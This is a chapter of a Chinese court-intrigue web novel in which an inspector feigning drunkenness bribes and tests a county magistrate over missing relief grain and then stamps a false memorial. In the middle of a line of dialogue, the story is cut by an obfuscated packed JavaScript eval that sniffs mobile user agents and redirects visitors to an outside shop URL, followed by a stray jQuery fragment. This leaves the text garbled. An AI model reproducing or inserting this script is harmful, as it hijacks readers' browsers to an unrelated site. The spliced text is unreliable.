“不不不,我嘞个天嘞!”
贾济海吓得从凳子上跳了起来,再跳到姜九思面前,把美人抢了过来宝贝似地藏到了自己身后:“这可是俺近日新纳的十八姨!姜大人,可不好夺人所爱啊!”
姜九思笑了一声:“十八姨?你都有十七个婆娘了?贾大人,日子过得不错嘛。让一个给我又如何?”
贾济海自是不愿,但又恐姜大人的权势,只好哀求道:“姜大人,你可不知,十七个婆娘给俺生了十七个女娃,可快叫俺贾家绝后嘞!算命的跟俺说过,这女子指定能生个男娃儿,俺贾家的香火传承可全在她身上了,姜大人,真使不得啊!”
姜九思方才怡然的神色渐消:“为什么不喜欢女娃?女娃不好么?十七个女娃,可都是跟着你姓贾,怎么就不算你贾家香火呢?贾济海,你偏心……不,你没良心!”
“算了。”姜九思嗤笑了一声,“既然你都这样说了,那我便不夺你所爱了。”
姜九思目光越过贾济海的肩头,朝舞姬看去,以东瀛语问道:“你叫什么名字?”
舞姬回道:“奴家名为绫娘。”
姜九思从袖口里拿出一方帕子递给了她,以东瀛话道:“绫娘,不必等来生了,今生我们就很有缘,我等你以身相许啊!”
绫娘,贾济海的十八姨,正是当初张伯翊送给她的二十个东瀛美人里的一个。
更是因绫娘那惊世骇俗的当街一吻,御史台借此又参了她一本。
如此热情奔放,姜九思怎能忘?
绫娘微微踮起脚,越过贾济海,接过帕子,带着迷离和愁绪的眼睛看清帕子上绣的樱花后,顿时流下了喜悦的泪水:“恩公!”
贾济海被二人明晃晃地忽视,甚至隔着他互递丝帕像是定情,眼睛急绿了:“姜大人,你们叽里咕噜在说啥?”
姜九思坐回原位回道:“我是在问绫娘,我唱得如何?”
“绫娘?这妮儿叫绫娘?怪好听的。”
连名字都不知道就把人强掳了来做老婆,贾济海真是想儿子想疯了。
姜九思招呼着:“贾济海,来,喝酒。”又问道,“有酒没美人,美中不足。”
以防姜九思觊觎自己的绫娘,贾济海赶忙把绫娘送了回去,又招呼了四个美人来:“来,服侍好各位官人!”
姜九思怀里搂了一个,又把要给沈柔坚敬酒的那个也拉到了怀里,一副色胚猴急样:“沈先生习道节欲,不好沾染女色,我替他笑纳,一左一右不空怀,正好哈哈哈!”
楼宇宁将剑往桌上“砰”地一放,大有一副“我看谁敢过来”的架势,吓得站在一旁的美人当场泪眼汪汪。
姜九思怜爱地又把这位梨花带雨的美人揽在了怀里:“楼侍卫心有所属了,他要为心上人守身如玉,是不好让你伺候了。没事,来伺候我吧!”
裴枢慎则是打了个哈欠:“姜大人真是色中饿鬼啊!我的你也收了吧!回了,睡了,你们玩儿。”
目送走了裴枢慎,姜九思左拥右抱,酒被灌了一杯又一杯,脸上霞云绯绯:“沈先生,楼侍卫,你们也回吧。如花美眷在怀,今日又是贾大人生辰,难得畅快,我要在这里和他开怀痛饮到天明!”
楼宇宁二话不说,提剑便走,走得那叫一个迫不及待。
楼宇宁走了,沈柔坚依旧坐着,神色不动地看着姜九思沉醉酒色、忘乎所以的样子。
沈柔坚从入席至此,滴酒未沾,小饮了几口淡茶,端着一副如姜九思所说“习道节欲”的模样。
姜九思醉醺醺地问道:“沈先生,你怎么还不走?”
沈柔坚侧目道:“我放心不下大人。夤夜畅饮纵是快意,但公务在身,莫让酒色伤了智。”
姜九思醉眼笑呵呵:“这点酒伤不了脑子,你放心放心,时辰不早了,沈先生你快回去休息吧!”
贾济海拍着胸脯保证:“沈先生尽管放心,有俺在,包准伺候好姜大人!”
说着,贾济海打了个酒嗝,又补了一句:“今夜后半夜有大风,沈先生记得把门窗关关好,好好呆屋子里头,免得被大风吹跑咯!”
沈柔坚站起身来俯视醉酒的二人,漆黑的眼珠微透寒芒:“有劳提醒。”
待沈柔坚走后,姜九思便不再顾忌言语,拖长了调子装作醉酒的样子,直言道:“钱我收了,美人我也收了,本官不白拿你的东西,有什么事求我替你办,尽管开口说罢。”
“嘿嘿,不过你得先告诉我那二十万石赈灾粮怎么又回来了?别拿白日那套说辞诓我,我可不信。贾济海,他们几个都走了,此时此地,就你我二人,你也尽管开口说了罢。”
贾济海挥退了舞姬,倒是从酒醒中清醒了过来几分,也跟着嘿嘿一笑:“姜大人,俺们所图的,不就是这二十万石粮食能老老实实地呆在粮库里头么,又何必问打哪来的呢?俺们各司其职,各办各的事,只要能证明韩君虞韩大人没贪污,张大人交给俺们的事就算办成了,至于其他的,多问不如少问,少知不如不知,姜大人,你这点不如俺看得明白啊!”
说着,贾济海从袖口拿出一封奏函,递了过去:“姜大人,盖印儿吧!”
姜九思接过来一看——好家伙,原来贾济海这厮早就为韩君虞的清白准备好了证词,就差自己这个作证的了!
姜九思“哟”了一声:“贾济海,你做事够妥帖啊!”
“张大人要俺办的事,俺哪敢拖沓?”
贾济海虽清醒,但酒气上脸,鼻头都红得发亮,似是怀想起过往,眼中恍惚了片刻。
“若没有张大人在背后帮衬着,这县官也是难做啊!一到汛期,就提心吊胆的,生怕办事不得力,头上的乌纱帽保不住,不过一年一年的也算熬过来了,但真不知今年怎么整出这老些事来?不过好在俺也算尽心尽职,护住了一半多的百姓免于流离失所,俺就算没有功劳,也有苦劳。”
贾济海狡黠地舔了舔嘴:“你说是不是,姜大人?”
“哦?是么?”姜九思弯唇敷衍轻笑了声,放下奏函,“尽心尽责,贾济海,你身为大启官员,是对谁尽心尽责呢?”
“自然对圣上!对百姓!还有……对张大人。嘿嘿,姜大人,你这是在试探俺对张大人的忠心是吧?你放心,俺对张大人,绝对是一百个尽心尽责。没有张大人,就没有俺贾济海的今天,我都懂,都懂的……”
说罢,贾济海又偷偷从兜里拿出了几张银票塞到姜九思手里,把奏本在姜九思面前摊开:“盖您江南道巡察使的大印儿吧,姜大人。”
姜九思把银票塞到了袖口里,又从袖口中拿出圣上亲赐的印章,在贾济海面前晃了晃:“你说,万一我在奏函上盖了印儿,韩君虞大人是清清白白地从大理寺出来了,到时候……会不会换我不清不白地蹲进去了?”
“噫!姜大人这是说得哪里话!张大人德高望重,高风亮节,怎会做这档子事?姜大人,你喝醉了?开始说胡话了?”
贾济海瞅着时机:“既然喝醉了,那俺便帮姜大人盖戳儿吧!别整歪咯……”
贾济海伸手便要夺姜九思手中的印章,姜九思的手轻巧地在贾济海面前转了个手花,像变戏法一样,印章从手中消失了,一时看得贾济海呆住了。
喝醉?
开玩笑,就算是十坛子酒,她也不会醉!
姜九思却是装醉身子晃了一下,单手托住脑袋,压在奏函上,在莹莹烛光下笑道:“贾济海,我没醉,我清醒着呢!你可别想诓我!要将粮库里二十万石赈灾粮神不知鬼不觉地劫走,他们五个,办不到。再将二十万石赈灾粮抢回来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734197|205416||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你一个人,也办不到。”
“老实告诉我,谁在背后指使你?给你撑腰?你说说看?嗯?让我看看你是怎么对张大人尽心尽责的。”
看着奏函被姜九思压出了褶,贾济海脸也跟着为难地皱出了褶子:“望海山一窝子山匪,俺也就能捉到五个。没人指使我,真的是俺从山匪窝里……”
姜九思挥了挥手:“贾济海,你没意思了啊!”
姜九思又道:“在官场行事,若辨不清真假话,丢了乌纱帽事小,丢了小命就事大了,我不得不小心谨慎些,问清楚些,也好保命。”
贾济海十分不解,明明张大人都安排好了一切,接下来不过是顺水推舟的事儿,怎么这位姜大人非要刨根问底?
到底是想试探他对张大人的忠心,还是想揪住自己的小辫子?
贾济海一时摸不准,只好使出杀手锏,从袖中取出了一物,双手托着小心翼翼呈向姜九思。
姜九思蓦然一瞥,心中惊得一沉,随即从贾济海手中夺过竹节玉簪,眼中不复醉意,一把揪着贾济海的衣领:“你怎么会有这东西的?”
竹节玉簪,这是她送给颜徵的生辰礼。
张伯翊这个卑鄙小人!
“姜大人,你这是弄啥呢?”贾济海有些醉酒上头,被姜九思揪着领子后才“噫”地一声,“这东西是张大人给我的,说到时候姜大人见了,就会明白了。”
片刻后,姜九思咬牙大笑起来,抬手把竹节玉簪插入发间,眼中再次蒙上醉意,打着哈哈道:“贾济海,方才我不过是考验你一番,是想确定……呵呵,好了好了,既见此物,我信了。”
说罢,姜九思在被压得皱了皮儿的奏函上盖了章,直接丢给了贾济海:“贾济海,张大人没看错你,你果真是尽心尽职,忠心耿耿。”
见姜九思再变戏法一般不知从哪变出印章来,三两下直接完事,贾济海对着可算是盖上章的奏函,长吁了一口气:“姜大人,你这人,可真爱装!刚才差点都把俺糊住了。赈灾粮有了,奏函也有了,啥都有了,嘿嘿……”
见贾济海一脸狗腿相地又傻笑起来,姜九思忍住心中的愤恨,咬着牙笑道:“贾济海,既然你啥都有了,那能割爱一回,把绫娘让给我?”
贾济海一拍大腿,立即又“噫”了起来:“姜大人,你这人……”
惦记他人|妻妾,什么毛病?
听闻姜大人在上都城便是风流好色之徒,夜御数女不在话下。
权力,果然是男人最好的补药!
即便荒淫无度,但一加上“皇帝宠臣”“中书舍人”“江南道巡察使”等头衔,姜大人这张脸一点都看不出色相,素服在身,反衬得如花似玉……玉树临风……风流倜傥……
贾济海叹道:上都城出来的官儿,果真不一般!
贾济海忍不住,又再多看了姜九思几眼:漂亮的脸蛋儿,圣上看了都喜欢,何况是他?
于是,贾济海继续问道:“姜大人,你喜欢啥样的?”
姜九思摸了摸下巴:“年纪大点的,温柔些的。”又道,“其实,不温柔也行。”
听罢,贾济海一肚子的不安顿时全消了,甚至还有些舒心。
绫娘温柔是温柔,但年纪小些。
年纪大的……不温柔的。
贾济海小眼一亮,嘿嘿笑道:“姜大人,你这人,口味真刁,原来是好这一口!俺明白,俺明白。”
姜九思皱眉:“你明白啥?”
贾济海笑得脸上能挤出油花来,眯着眼笑得色眯眯:“俗话说得好,菩萨掉染缸,也成贪色鬼。人活着,不好色,好什么?姜大人,你放心,一切包在俺身上了,绝对让姜大人满意!姜大人若是满意了,记得在张大人、圣上面前多提几句俺的名字,俺就知足了!”